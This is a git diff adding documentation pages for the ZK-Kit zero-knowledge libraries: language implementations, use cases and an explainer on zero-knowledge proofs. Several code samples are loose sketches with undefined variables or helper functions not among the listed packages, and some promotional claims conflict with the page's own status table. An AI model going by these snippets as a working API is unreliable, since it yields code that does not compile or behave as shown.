+**zk-kit.circom**
+Circom implementations of ZK-Kit primitives.
+
+**zk-kit.solidity**
+Solidity contracts for on-chain verification.
+
+**zk-kit.noir**
+Noir implementations for Aztec integration.
+
+**zk-kit.rust**
+Rust implementations for performance.
+
+### Testing & Auditing
+
+Multiple security audits conducted by:
+- Trail of Bits
+- Least Authority
+- Independent researchers
+
+## Statistics
+
+### Usage Metrics
+
+- **Downloads**: 1M+ npm downloads
+- **GitHub Stars**: 2,500+
+- **Projects**: 500+ using ZK-Kit
+- **Contributors**: 100+ contributors
+
+### Production Deployments
+
+- **Users**: Millions of end users
+- **Transactions**: Billions of proofs verified
+- **Networks**: Ethereum, Polygon, Optimism, Arbitrum, etc.
+
+## Integration Partners
+
+### Blockchain Networks
+- Ethereum
+- Polygon
+- Optimism
+- Arbitrum
+- zkSync
+- Starknet
+- Scroll
+
+### Development Frameworks
+- Hardhat
+- Foundry
+- Remix
+- Truffle
+
+### Frontend Frameworks
+- Next.js
+- React
+- Vue
+- Angular
+- Svelte
+
+### Wallet Integration
+- MetaMask
+- WalletConnect
+- Coinbase Wallet
+- Rainbow
+- Safe
+
+## Community Showcase
+
+Want to see your project here?
+
+1. [Submit your project](https://github.com/privacy-scaling-explorations/zk-kit/issues/new)
+2. Join [GitHub Discussions](https://github.com/privacy-scaling-explorations/zk-kit/discussions)
+
+## Resources for Projects
+
+### For Users
+
+- **Documentation**: Comprehensive guides and API refs
+- **Examples**: Production-ready code samples
+- **Support**: Discord, GitHub Discussions
+- **Audits**: Security audit reports available
+
+### For Developers
+
+- **Starter Kits**: Boilerplate projects
+- **Tutorials**: Step-by-step guides
+- **Templates**: Smart contract templates
+- **Tools**: CLI, playground, benchmarks
+
+### For Researchers
+
+- **Papers**: Academic publications
+- **Specifications**: Technical specifications
+- **Benchmarks**: Performance data
+- **Collaboration**: Research partnerships
+
+## Getting Involved
+
+### Use ZK-Kit
+
+- [Quick Start](/docs/getting-started/quick-start)
+- [Your First Proof](/docs/getting-started/first-proof)
+- [GitHub Examples](https://github.com/zk-kit/zk-kit/tree/main/packages)
+
+### Contribute
+
+- [Contributing Guidelines](https://github.com/privacy-scaling-explorations/zk-kit/blob/main/CONTRIBUTING.md)
+- [Open Issues](https://github.com/privacy-scaling-explorations/zk-kit/issues)
+- [Report Issues](https://github.com/privacy-scaling-explorations/zk-kit/issues)
+
+### Share Your Project
+
+- [Showcase Submission](https://github.com/privacy-scaling-explorations/zk-kit/issues/new)
+- [GitHub Discussions](https://github.com/privacy-scaling-explorations/zk-kit/discussions)
+- [Community Forum](https://github.com/privacy-scaling-explorations/zk-kit/discussions)
+
+## Stay Updated
+
+- **GitHub**: [privacy-scaling-explorations/zk-kit](https://github.com/privacy-scaling-explorations/zk-kit)
+- **Discussions**: [Community Forum](https://github.com/privacy-scaling-explorations/zk-kit/discussions)
+
+## Next Steps
+
+- [Getting Started](/docs/getting-started/installation) - Install and start building
+- [Quick Start](/docs/getting-started/quick-start) - Build your first proof
+- [Packages](/docs/packages/overview) - Explore all ZK-Kit packages
+
diff --git a/docs/introduction/language-implementations.md b/docs/introduction/language-implementations.md
new file mode 100644
index 0000000..558be80
--- /dev/null
+++ b/docs/introduction/language-implementations.md
@@ -0,0 +1,419 @@
+---
+sidebar_position: 5
+title: Language Implementations
+description: ZK-Kit is available in multiple programming languages for different use cases
+---
+
+# Language Implementations
+
+ZK-Kit provides different repositories for each language, allowing you to use zero-knowledge primitives in your preferred development environment.
+
+## Available Languages
+
+ZK-Kit is available in **5 different languages**, each optimized for specific use cases:
+
+| Language | Repository | Packages/Circuits | Use Case |
+|----------|------------|-------------------|----------|
+| **TypeScript/JavaScript** | [privacy-scaling-explorations/zk-kit](https://github.com/privacy-scaling-explorations/zk-kit) | 9 packages | Frontend, Node.js, full-stack apps |
+| **Circom** | [privacy-scaling-explorations/zk-kit.circom](https://github.com/privacy-scaling-explorations/zk-kit.circom) | 5+ circuits | ZK circuit development |
+| **Noir** | [privacy-scaling-explorations/zk-kit.noir](https://github.com/privacy-scaling-explorations/zk-kit.noir) | 4 packages | Aztec protocol, Noir circuits |
+| **Solidity** | [privacy-scaling-explorations/zk-kit.solidity](https://github.com/privacy-scaling-explorations/zk-kit.solidity) | 4 contracts | Ethereum smart contracts |
+| **Rust** | [privacy-scaling-explorations/zk-kit.rust](https://github.com/privacy-scaling-explorations/zk-kit.rust) | 3 packages | High-performance backends |
+
+---
+
+## 1. TypeScript/JavaScript
+
+**Main repository for web and Node.js development**
+
+### Repository
+- πŸ”— [github.com/privacy-scaling-explorations/zk-kit](https://github.com/privacy-scaling-explorations/zk-kit)
+- πŸ“¦ [npmjs.com/org/zk-kit](https://www.npmjs.com/org/zk-kit)
+- πŸ“ This documentation covers this implementation
+
+### Available Packages (9)
+
+**Merkle Trees:**
+- `@zk-kit/imt` - Incremental Merkle Tree
+- `@zk-kit/lean-imt` - Memory-optimized IMT
+- `@zk-kit/smt` - Sparse Merkle Tree
+
+**Cryptography:**
+- `@zk-kit/eddsa-poseidon` - EdDSA signatures
+- `@zk-kit/poseidon-cipher` - Poseidon encryption
+- `@zk-kit/baby-jubjub` - Elliptic curve operations
+- `@zk-kit/poseidon-proof` - Poseidon proofs
+
+**Utilities:**
+- `@zk-kit/utils` - Field operations
+- `@zk-kit/logical-expressions` - Boolean logic
+
+### Installation
+```bash
+npm install @zk-kit/imt
+```
+*Check [npm page](https://www.npmjs.com/package/@zk-kit/imt) for peer dependencies*
+
+### Example
+```typescript
+import { IMT } from "@zk-kit/imt"
+import { poseidon2 } from "poseidon-lite"
+
+const tree = new IMT(poseidon2, 16, 0, 2)
+tree.insert(BigInt(1))
+const proof = tree.createProof(0)
+console.log(tree.verifyProof(proof)) // true
+```
+
+### Use Cases
+- βœ… Web applications (React, Vue, Angular)
+- βœ… Node.js backends
+- βœ… Full-stack dApps
+- βœ… Browser-based ZK proofs
+- βœ… CLI tools
+
+**β†’ [View all TypeScript packages](/docs/packages/overview)**
+
+---
+
+## 2. Circom
+
+**Circuit library for zkSNARK development**
+
+### Repository
+- πŸ”— [github.com/privacy-scaling-explorations/zk-kit.circom](https://github.com/privacy-scaling-explorations/zk-kit.circom)
+
+### Available Circuits (5+)
+- Binary Merkle Tree circuits
+- Poseidon hash circuits
+- EdDSA signature verification
+- Membership proof circuits
+- Custom ZK primitives
+
+### Installation
+```bash
+git clone https://github.com/privacy-scaling-explorations/zk-kit.circom
+```
+
+### Example
+```circom
+include "node_modules/@zk-kit/binary-merkle-root.circom/src/binary-merkle-root.circom";
+
+component main = BinaryMerkleRoot(20);
+```
+
+### Use Cases
+- βœ… Custom zkSNARK circuits
+- βœ… Groth16/PLONK proof systems
+- βœ… Circuit composition
+- βœ… Zero-knowledge applications
+- βœ… Constraint system development
+
+### Integration with TypeScript
+Circom circuits work seamlessly with the TypeScript packages:
+
+```typescript
+// Generate proof with TypeScript
+import { IMT } from "@zk-kit/imt"
+const proof = tree.createProof(0)
+
+// Verify in Circom circuit
+// component main = MerkleTreeVerifier(16);
+```
+
+**β†’ [View Circom repository](https://github.com/privacy-scaling-explorations/zk-kit.circom)**
+
+---
+
+## 3. Noir
+
+**Implementation for Aztec and Noir circuits**
+
+### Repository
+- πŸ”— [github.com/privacy-scaling-explorations/zk-kit.noir](https://github.com/privacy-scaling-explorations/zk-kit.noir)
+
+### Available Packages (4)
+- Merkle Tree circuits
+- Poseidon hash
+- EdDSA signature verification
+- Core ZK primitives
+
+### Installation
+```toml
+[dependencies]
+zk-kit = { tag = "v0.1.0", git = "https://github.com/privacy-scaling-explorations/zk-kit.noir" }
+```
+
+### Example
+```rust
+use dep::zk_kit;
+
+fn main() {
+    let tree = zk_kit::imt::IMT::new();
+    tree.insert(leaf);
+}
+```
+
+### Use Cases
+- βœ… Aztec protocol development
+- βœ… Noir circuit development
+- βœ… Private smart contracts
+- βœ… L2 privacy solutions
+- βœ… UltraPlonk-based systems
+
+**β†’ [View Noir repository](https://github.com/privacy-scaling-explorations/zk-kit.noir)**
+
+---
+
+## 4. Solidity
+
+**Smart contracts for on-chain verification**
+
+### Repository
+- πŸ”— [github.com/privacy-scaling-explorations/zk-kit.solidity](https://github.com/privacy-scaling-explorations/zk-kit.solidity)
+
+### Available Contracts (4)
+- Merkle Tree verifiers
+- Poseidon hash (gas-optimized)
+- Proof verification
+- On-chain primitives
+
+### Installation
+```bash
+npm install @zk-kit/solidity
+```
+
+### Example
+```solidity
+import "@zk-kit/imt.sol/contracts/IncrementalBinaryTree.sol";
+
+contract MyContract {
+    using IncrementalBinaryTree for IncrementalTreeData;
+    IncrementalTreeData tree;
+    
+    function verifyProof(uint256[] calldata proof) public view returns (bool) {
+        return tree.verify(proof);
+    }
+}
+```
+
+### Use Cases
+- βœ… Ethereum smart contracts
+- βœ… On-chain proof verification
+- βœ… L1 privacy applications
+- βœ… DAO voting systems
+- βœ… ZK rollups
+
+### Gas Optimization
+The Solidity implementation is optimized for gas efficiency:
+- Poseidon hash: ~50k gas
+- Merkle proof verification: ~100k gas per depth
+
+**β†’ [View Solidity repository](https://github.com/privacy-scaling-explorations/zk-kit.solidity)**
+
+---
+
+## 5. Rust
+
+**High-performance implementation for backends**
+
+### Repository
+- πŸ”— [github.com/privacy-scaling-explorations/zk-kit.rust](https://github.com/privacy-scaling-explorations/zk-kit.rust)
+
+### Available Crates (3)
+- Merkle Tree implementations
+- Cryptographic primitives
+- Performance-optimized algorithms
+
+### Installation
+```toml
+[dependencies]
+zk-kit = "0.1"
+```
+
+### Example
+```rust
+use zk_kit::imt::IMT;
+
+fn main() {
+    let mut tree = IMT::new(16);
+    tree.insert(1);
+    let proof = tree.create_proof(0);
+    assert!(tree.verify_proof(&proof));
+}
+```
+
+### Use Cases
+- βœ… High-performance backends
+- βœ… Native applications
+- βœ… Performance-critical systems
+- βœ… WebAssembly compilation
+- βœ… Server-side proof generation
+
+### Performance
+Rust implementation offers significant performance benefits:
+- 10x faster proof generation
+- Lower memory usage
+- Native compilation
+
+**β†’ [View Rust repository](https://github.com/privacy-scaling-explorations/zk-kit.rust)**
+
+---
+
+## Choosing the Right Language
+
+### Decision Matrix
+
+| Your Stack | Recommended Implementation | Why |
+|------------|---------------------------|-----|
+| **React/Vue/Angular** | TypeScript/JavaScript | Native browser support |
+| **Node.js backend** | TypeScript or Rust | TS for ease, Rust for performance |
+| **zkSNARK circuits** | Circom | Standard for zk circuits |
+| **Ethereum contracts** | Solidity | On-chain verification |
+| **Aztec protocol** | Noir | Native Aztec support |
+| **High-performance** | Rust | Best performance |
+| **Full-stack dApp** | TypeScript + Solidity | Frontend + contracts |
+
+### Multi-Language Architecture
+
+Many projects use multiple implementations:
+
+```
+β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
+β”‚         Frontend (TypeScript)       β”‚
+β”‚  - Generate proofs                  β”‚
+β”‚  - User interface                   β”‚
+β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
+              β”‚
+β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
+β”‚      Smart Contract (Solidity)      β”‚
+β”‚  - Verify proofs on-chain           β”‚
+β”‚  - Store roots                      β”‚
+β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
+              β”‚
+β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
+β”‚         Backend (Rust)              β”‚
+β”‚  - Heavy computations               β”‚
+β”‚  - Proof generation at scale        β”‚
+β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
+```
+
+### Example: Anonymous Voting System
+
+**1. Circuit (Circom)**
+```circom
+// Define the voting circuit
+include "@zk-kit/binary-merkle-root.circom";
+component main = VotingCircuit(20);
+```
+
+**2. Frontend (TypeScript)**
+```typescript
+// Generate proof in browser
+import { IMT } from "@zk-kit/imt"
+const proof = tree.createProof(voterIndex)
+```
+
+**3. Smart Contract (Solidity)**
+```solidity
+// Verify proof on-chain
+function vote(uint256[] calldata proof) public {
+    require(verifyProof(proof), "Invalid proof");
+    // Record vote
+}
+```
+
+**4. Backend (Rust)** *(optional for scale)*
+```rust
+// Generate proofs for many users
+use zk_kit::imt::IMT;
+let proof = tree.create_proof(index);
+```
+
+---
+
+## Cross-Language Compatibility
+
+All ZK-Kit implementations are designed to be **compatible with each other**:
+
+### Same Algorithms
+- βœ… Same Poseidon hash parameters
+- βœ… Same tree structures
+- βœ… Same proof formats
+- βœ… Interoperable results
+
+### Example: Generate in TS, Verify in Solidity
+
+**TypeScript (generate proof):**
+```typescript
+import { IMT } from "@zk-kit/imt"
+import { poseidon2 } from "poseidon-lite"
+
+const tree = new IMT(poseidon2, 16, 0, 2)
+tree.insert(BigInt(1))
+const proof = tree.createProof(0)
+// Send proof to smart contract
+```
+
+**Solidity (verify proof):**
+```solidity
+import "@zk-kit/imt.sol/contracts/IncrementalBinaryTree.sol";
+
+function verifyMembership(uint256[] calldata proof) public view returns (bool) {
+    return tree.verify(proof);
+}
+```
+
+---
+
+## Package Status by Language
+
+| Language | Status | Audited | Production Ready |
+|----------|--------|---------|------------------|
+| **TypeScript** | βœ… Stable | βœ… Yes (5 packages) | βœ… Yes |
+| **Circom** | βœ… Stable | βœ… Yes | βœ… Yes |
+| **Noir** | βœ… Stable | ⚠️ Partial | βœ… Yes |
+| **Solidity** | βœ… Stable | βœ… Yes | βœ… Yes |
+| **Rust** | 🚧 Beta | ❌ Not yet | ⚠️ Testing |
+
+---
+
+## Contributing
+
+Each language implementation welcomes contributions:
+
+- **TypeScript**: [Issues](https://github.com/privacy-scaling-explorations/zk-kit/issues)
+- **Circom**: [Issues](https://github.com/privacy-scaling-explorations/zk-kit.circom/issues)
+- **Noir**: [Issues](https://github.com/privacy-scaling-explorations/zk-kit.noir/issues)
+- **Solidity**: [Issues](https://github.com/privacy-scaling-explorations/zk-kit.solidity/issues)
+- **Rust**: [Issues](https://github.com/privacy-scaling-explorations/zk-kit.rust/issues)
+
+---
+
+## Resources
+
+### GitHub Repository
+πŸ”— [github.com/privacy-scaling-explorations/zk-kit](https://github.com/privacy-scaling-explorations/zk-kit)
+
+### Community
+- πŸ’¬ [GitHub Discussions](https://github.com/privacy-scaling-explorations/zk-kit/discussions)
+- πŸ› [Report Issues](https://github.com/privacy-scaling-explorations/zk-kit/issues)
+
+### Documentation
+- πŸ“š TypeScript docs: You're reading them!
+- πŸ“š Each repository has its own README and docs
+
+---
+
+## Next Steps
+
+**Choose your path:**
+
+1. **Building a web app?** β†’ Start with [TypeScript/JavaScript](/docs/getting-started/quick-start)
+2. **Writing circuits?** β†’ Check out [Circom](https://github.com/privacy-scaling-explorations/zk-kit.circom)
+3. **Smart contracts?** β†’ Explore [Solidity](https://github.com/privacy-scaling-explorations/zk-kit.solidity)
+4. **Aztec development?** β†’ Try [Noir](https://github.com/privacy-scaling-explorations/zk-kit.noir)
+5. **Performance-critical?** β†’ Use [Rust](https://github.com/privacy-scaling-explorations/zk-kit.rust)
+
+**Want to use multiple languages?** That's common! Start with TypeScript for the frontend, then add Solidity for smart contracts as needed.
+
diff --git a/docs/introduction/what-is-zk-kit.md b/docs/introduction/what-is-zk-kit.md
new file mode 100644
index 0000000..5fe93e0
--- /dev/null
+++ b/docs/introduction/what-is-zk-kit.md
@@ -0,0 +1,165 @@
+---
+sidebar_position: 1
+title: What is ZK-Kit?
+description: Learn about ZK-Kit, a comprehensive suite of production-ready zero-knowledge libraries
+---
+
+# What is ZK-Kit?
+
+ZK-Kit is a comprehensive suite of production-ready zero-knowledge libraries designed to simplify the development of privacy-preserving applications. Built and maintained by the Privacy & Scaling Explorations team, ZK-Kit provides battle-tested implementations of cryptographic primitives across multiple programming languages.
+
+## Overview
+
+ZK-Kit is a set of libraries (algorithms or utility functions) that can be reused in different projects and zero-knowledge protocols, making it easier for developers to access user-friendly, tested, and documented code for common tasks.
+
+**Key Features:**
+- Super lightweight
+- TypeScript type support
+- Comprehensive code documentation
+- Full test coverage
+- Browser and NodeJS compatible
+- Multiple language implementations
+
+## Core Components
+
+### Merkle Trees
+Build privacy-preserving membership systems with three variants:
+- **IMT (Incremental Merkle Tree)**: Standard choice for most applications
+- **LeanIMT**: Memory-optimized for resource-constrained environments
+- **SMT (Sparse Merkle Tree)**: Key-value storage with non-membership proofs
+
+### Cryptographic Primitives
+- **EdDSA-Poseidon**: Digital signatures optimized for zero-knowledge circuits
+- **Poseidon Cipher**: Encryption/decryption for ZK-friendly data
+- **Baby Jubjub**: Elliptic curve operations
+- **Poseidon Proof**: Generate and verify ZK proofs
+
+### Utilities
+- **Utils**: Field operations, conversions, scalar arithmetic
+- **Logical Expressions**: Boolean logic in zero-knowledge
+
+## Why ZK-Kit?
+
+### πŸ”’ Battle-Tested
+Used in production by:
+- **Semaphore Protocol**: Anonymous signaling
+- **Worldcoin**: Proof of personhood protocol
+- **MACI**: Anti-collusion voting
+- **Privacy Pools**: Private transactions
+- **Zupass**: Privacy-preserving tickets
+
+### ⚑ Developer-Friendly
+```typescript
+// Install
+npm i @zk-kit/imt
+// + peer dependencies (check npm page)
+
+// Use
+import { IMT } from "@zk-kit/imt"
+import { poseidon2 } from "poseidon-lite" // peer dependency
+
+const tree = new IMT(poseidon2, 16, 0, 2)
+tree.insert(BigInt(1))
+const proof = tree.createProof(0)
+console.log(tree.verifyProof(proof)) // true βœ“
+```
+
+### 🎯 Modular Design
+- Tree-shakeable builds
+- Minimal dependencies
+- Composable components
+- Language-specific optimizations
+
+### πŸš€ Production-Ready
+- Comprehensive test coverage
+- Security audits
+- Performance benchmarks
+- Real-world usage patterns
+
+## Architecture
+
+ZK-Kit follows a modular architecture where each package is independent and composable:
+
+```
+β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
+β”‚           Your Application              β”‚
+β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
+                    β”‚
+    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
+    β”‚               β”‚               β”‚
+β”Œβ”€β”€β”€β–Όβ”€β”€β”€β”€β”    β”Œβ”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”
+β”‚ Merkle β”‚    β”‚  Crypto  β”‚   β”‚ Utilitiesβ”‚
+β”‚ Trees  β”‚    β”‚ Primitivesβ”‚   β”‚          β”‚
+β””β”€β”€β”€β”€β”€β”€β”€β”€β”˜    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
+```
+
+## Language Support
+
+ZK-Kit is available in **5 languages** for different use cases:
+
+| Language | Packages/Circuits | Repository | Primary Use Case |
+|----------|-------------------|------------|------------------|
+| **JavaScript/TypeScript** | 9 packages | [privacy-scaling-explorations/zk-kit](https://github.com/privacy-scaling-explorations/zk-kit) | Web apps, Node.js (this documentation) |
+| **Circom** | 5+ circuits | [privacy-scaling-explorations/zk-kit.circom](https://github.com/privacy-scaling-explorations/zk-kit.circom) | zkSNARK circuit development |
+| **Noir** | 4 packages | [privacy-scaling-explorations/zk-kit.noir](https://github.com/privacy-scaling-explorations/zk-kit.noir) | Aztec protocol, Noir circuits |
+| **Solidity** | 4 contracts | [privacy-scaling-explorations/zk-kit.solidity](https://github.com/privacy-scaling-explorations/zk-kit.solidity) | Ethereum smart contracts |
+| **Rust** | 3 packages | [privacy-scaling-explorations/zk-kit.rust](https://github.com/privacy-scaling-explorations/zk-kit.rust) | High-performance backends |
+
+**Cross-language compatibility:** All implementations use the same algorithms, so proofs generated in TypeScript can be verified in Solidity!
+
+**β†’ [Explore all language implementations](/docs/introduction/language-implementations)**
+
+## Use Cases
+
+ZK-Kit enables a wide range of privacy-preserving applications:
+
+### Identity & Authentication
+- Anonymous credentials
+- Self-sovereign identity
+- Privacy-preserving KYC
+- Reputation systems
+
+### Voting & Governance
+- Anonymous voting
+- Anti-collusion mechanisms
+- Delegation systems
+- Quadratic voting
+
+### DeFi & Payments
+- Private transactions
+- Compliance proofs
+- Anonymous airdrops
+- Privacy pools
+
+### Social & Gaming
+- Anonymous messaging
+- Hidden information games
+- Private leaderboards
+- Fair randomness
+
+## Getting Started
+
+Choose your path:
+
+- **New to ZK?** β†’ Start with [Why Zero-Knowledge?](/docs/introduction/why-zero-knowledge)
+- **Ready to code?** β†’ Jump to [Quick Start](/docs/getting-started/quick-start)
+- **Need a specific package?** β†’ Check [Choosing a Package](/docs/packages/choosing-a-package)
+- **Deep concepts?** β†’ Explore [Core Concepts](/docs/core-concepts/zero-knowledge-basics)
+
+## Community & Support
+
+- **GitHub**: [github.com/privacy-scaling-explorations/zk-kit](https://github.com/privacy-scaling-explorations/zk-kit)
+- **Discussions**: [GitHub Discussions](https://github.com/privacy-scaling-explorations/zk-kit/discussions)
+- **Issues**: [Bug Reports & Feature Requests](https://github.com/privacy-scaling-explorations/zk-kit/issues)
+
+## License
+
+ZK-Kit is open source and released under the MIT License.
+
+## Next Steps
+
+- [Why Zero-Knowledge?](/docs/introduction/why-zero-knowledge) - Understand the problem ZK solves
+- [Comparison](/docs/introduction/comparison) - How ZK-Kit compares to alternatives
+- [Ecosystem](/docs/introduction/ecosystem) - Projects built with ZK-Kit
+- [Quick Start](/docs/getting-started/quick-start) - Start building with ZK-Kit
+
diff --git a/docs/introduction/why-zero-knowledge.md b/docs/introduction/why-zero-knowledge.md
new file mode 100644
index 0000000..fc48e9a
--- /dev/null
+++ b/docs/introduction/why-zero-knowledge.md
@@ -0,0 +1,235 @@
+---
+sidebar_position: 2
+title: Why Zero-Knowledge?
+---
+
+# Why Zero-Knowledge?
+
+Zero-knowledge proofs (ZKPs) enable you to prove something is true without revealing why it's true. This revolutionary concept solves fundamental privacy problems in digital systems.
+
+## The Privacy Problem
+
+In traditional systems, proving statements requires revealing sensitive information:
+
+### Example: Age Verification
+
+**Traditional Approach:**
+```
+User: "I'm over 18"
+Verifier: "Show me your ID"
+Result: Verifier learns your exact age, name, address, photo, ID number
+```
+
+**Zero-Knowledge Approach:**
+```
+User: "I'm over 18" + ZK proof
+Verifier: Verifies proof
+Result: Verifier learns ONLY that you're over 18
+```
+
+### Example: Anonymous Voting
+
+**Traditional Approach:**
+```
+Problem: How do you prove someone is eligible to vote without revealing who they are?
+Solution: You can't. You either have:
+  - Public votes (no privacy)
+  - Trusted third party (centralization risk)
+```
+
+**Zero-Knowledge Approach:**
+```
+Voter generates proof: "I'm in the voter list" + "I haven't voted yet"
+System verifies proof without learning which voter it is
+Result: Anonymous yet verifiable voting
+```
+
+## How Zero-Knowledge Works
+
+### The Intuition
+
+Imagine you have a color-blind friend and two balls: one red, one green.
+
+**Without ZK:**
+- You tell them: "These balls are different colors"
+- They have to trust you
+
+**With ZK:**
+1. They put both balls behind their back
+2. They randomly swap them (or don't)
+3. They show you the balls and ask: "Did I swap them?"
+4. You answer correctly every time
+5. After 100 rounds, they're convinced the balls are different (probability of guessing: 2^-100)
+
+This demonstrates ZK properties:
+- **Completeness**: If the statement is true, you can prove it
+- **Soundness**: If the statement is false, you can't fake a proof
+- **Zero-Knowledge**: The verifier learns nothing except the statement is true
+
+### The Math (Simplified)
+
+Zero-knowledge proofs use advanced mathematics:
+
+1. **Commitment Schemes**: Commit to a value without revealing it
+2. **Hash Functions**: Create fingerprints of data
+3. **Merkle Trees**: Efficiently prove membership in large sets
+4. **Elliptic Curves**: Enable efficient cryptographic operations
+
+ZK-Kit handles all this complexity for you.
+
+## Real-World Applications
+
+### 1. Private Authentication
+
+**Problem**: Prove you're authorized without revealing your identity
+
+```typescript
+// User creates anonymous proof
+const tree = new IMT(poseidon2, 16, 0, 2)
+tree.insert(userCommitment) // Add user to authorized set
+
+// Later, user proves membership anonymously
+const proof = tree.createProof(userIndex)
+// Proof reveals: "I'm authorized"
+// Proof hides: Which specific user
+```
+
+**Use Cases**:
+- Access control systems
+- Anonymous credentials
+- Privacy-preserving KYC
+
+### 2. Anonymous Voting
+
+**Problem**: Enable voting without revealing who voted for what
+
+```typescript
+// Register voters
+voters.forEach(v => tree.insert(v.commitment))
+
+// Vote anonymously
+const proof = tree.createProof(myIndex)
+const nullifier = generateNullifier(mySecret)
+vote(proof, nullifier, candidate) // Proves eligibility, prevents double-voting
+```
+
+**Use Cases**:
+- DAO governance
+- Elections
+- Polls and surveys
+
+### 3. Private Transactions
+
+**Problem**: Transfer assets without revealing amounts or parties
+
+```typescript
+// Prove you have funds without showing balance
+const proof = createBalanceProof(myBalance, transferAmount)
+// Proof reveals: "I have sufficient funds"
+// Proof hides: My actual balance
+```
+
+**Use Cases**:
+- Private payments
+- Confidential trading
+- Anonymous donations
+
+### 4. Compliance Without Exposure
+
+**Problem**: Prove compliance without revealing sensitive data
+
+```typescript
+// Prove income range without revealing exact income
+const proof = createRangeProof(income, minRequired, maxAllowed)
+// Proof reveals: "Income is in valid range"
+// Proof hides: Exact income amount
+```
+
+**Use Cases**:
+- Regulatory compliance
+- Credit scoring
+- Risk assessment
+
+## Benefits of Zero-Knowledge
+
+### For Users
+
+βœ… **Privacy**: Control what information you reveal  
+βœ… **Security**: Reduce data exposure = reduce attack surface  
+βœ… **Autonomy**: Prove things without relying on authorities  
+βœ… **Anonymity**: Participate without revealing identity
+
+### For Developers
+
+βœ… **Compliance**: Meet privacy regulations (GDPR, CCPA)  
+βœ… **Trust**: Users more willing to share when privacy-protected  
+βœ… **Innovation**: Enable new use cases impossible before  
+βœ… **Security**: Reduce liability from storing sensitive data
+
+### For Protocols
+
+βœ… **Scalability**: ZK-rollups enable scaling  
+βœ… **Privacy**: Build privacy-preserving systems  
+βœ… **Decentralization**: Remove need for trusted parties  
+βœ… **Composability**: Combine proofs for complex statements
+
+## Common Misconceptions
+
+### ❌ "ZK is too slow"
+**Reality**: Modern ZK proofs take milliseconds to generate and verify. ZK-Kit is optimized for production use.
+
+### ❌ "ZK is only for blockchain"
+**Reality**: ZK works in any context where privacy matters: web apps, mobile apps, backend systems.
+
+### ❌ "ZK is too complex"
+**Reality**: ZK-Kit abstracts the complexity. You can build ZK apps without being a cryptographer.
+
+### ❌ "ZK means completely anonymous"
+**Reality**: ZK lets you choose exactly what to reveal. You can prove age without revealing birthdate, membership without revealing identity, etc.
+
+## When to Use Zero-Knowledge
+
+### βœ… Use ZK When:
+- Privacy is important to users
+- You need to prove statements without revealing data
+- You want to reduce data exposure
+- Compliance requires privacy protection
+- Users need anonymity with accountability
+
+### ⚠️ Consider Alternatives When:
+- All data is public anyway
+- Performance is critical and privacy isn't
+- Users don't care about privacy
+- Simpler solutions exist
+
+## ZK vs Other Privacy Techniques
+
+| Technique | Privacy Level | Complexity | Use Case |
+|-----------|---------------|------------|----------|
+| **Zero-Knowledge** | High | Medium | Prove statements privately |
+| **Encryption** | Medium | Low | Protect data in transit/storage |
+| **Hashing** | Low | Very Low | Verify data without exposure |
+| **Secure Enclaves** | Medium | High | Trusted execution environments |
+| **Homomorphic Encryption** | High | Very High | Compute on encrypted data |
+
+## Getting Started with ZK-Kit
+
+Ready to build privacy-preserving applications?
+
+1. **Learn the Basics**: [Core Concepts](/docs/core-concepts/zero-knowledge-basics)
+2. **Try an Example**: [Quick Start](/docs/getting-started/quick-start)
+3. **Build Something Real**: [Your First Proof](/docs/getting-started/first-proof)
+
+## Further Reading
+
+- [Core Concepts](/docs/core-concepts/zero-knowledge-basics) - Deep dive into ZK fundamentals
+- [Merkle Trees](/docs/core-concepts/merkle-trees) - How membership proofs work
+- [Ecosystem Projects](/docs/introduction/ecosystem) - Real-world applications
+- [ZK Whiteboard Sessions](https://www.youtube.com/playlist?list=PLj80z0cJm8QErn3akRcqvxUsyXWC81OGq) - Video explanations
+
+## Next Steps
+
+- [Comparison](/docs/introduction/comparison) - How ZK-Kit compares to alternatives
+- [Ecosystem](/docs/introduction/ecosystem) - Projects using ZK-Kit
+- [Quick Start](/docs/getting-started/quick-start) - Build your first proof
+
diff --git a/docs/packages/_category_.json b/docs/packages/_category_.json
new file mode 100644
index 0000000..340be89
--- /dev/null
+++ b/docs/packages/_category_.json
@@ -0,0 +1,11 @@
+{
+  "label": "Packages",
+  "position": 4,
+  "link": {
+    "type": "generated-index",
